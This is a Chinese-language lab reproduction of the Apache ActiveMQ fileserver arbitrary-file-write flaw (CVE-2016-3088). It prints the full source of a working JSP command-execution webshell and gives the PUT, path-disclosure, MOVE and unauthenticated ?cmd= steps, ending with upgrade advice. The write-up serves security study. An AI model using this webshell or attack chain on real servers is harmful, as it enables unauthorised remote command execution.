Apache ActiveMQ任意文件寫入漏洞(CVE-2016-3088)復現
一、漏洞描述
該漏洞出現在fileserver應用中,漏洞原理:ActiveMQ中的fileserver服務允許用戶通過HTTP PUT方法上傳文件到指定目錄。Fileserver支持寫入文件(不解析jsp),但是支持移動文件(Move)我們可以將jsp的文件PUT到Fileserver下,然后再通過Move指令移動到可執行目錄下訪問。
二、漏洞影響版本
Apache ActiveMQ 5.0.0 - 5.13.2
三、漏洞環境搭建
1、官網下載apache-activemq-5.7.0-bin.tar 下載地址:http://activemq.apache.org/download-archives.html
2、解壓
3、啟動,進入bin目錄下,運行./activemq start
4、瀏覽器訪問http://192.168.10.149:8161/,如下圖可以看到成功搭建環境
四、漏洞復現
1、PUT上傳一個jsp的webshell到fileserver目錄,下圖可以看到成功上傳jsp文件
Jsp文件內容:
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
2、瀏覽器訪問http://192.168.10.149:8161/fileserver/1.jsp,下圖可以看到fileserver目錄下的webshell沒有被解析,說明fileserver目錄沒有執行權限
3、利用該版本存在物理路徑泄露漏洞,爆一下絕對路徑
4、利用Move方法將webshell移入admin目錄下,如下圖所示成功把文件移入到admin目錄
5、利用該版本存在的未授權訪問漏洞,不用登錄,訪問http://192.168.10.149:8161/admin/1.jsp?cmd=ls,下圖可以看到成功執行命令
五、漏洞防御
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建議用戶升級至 5.14.0 及其以后版本。
---------------------------------------------------------------------------------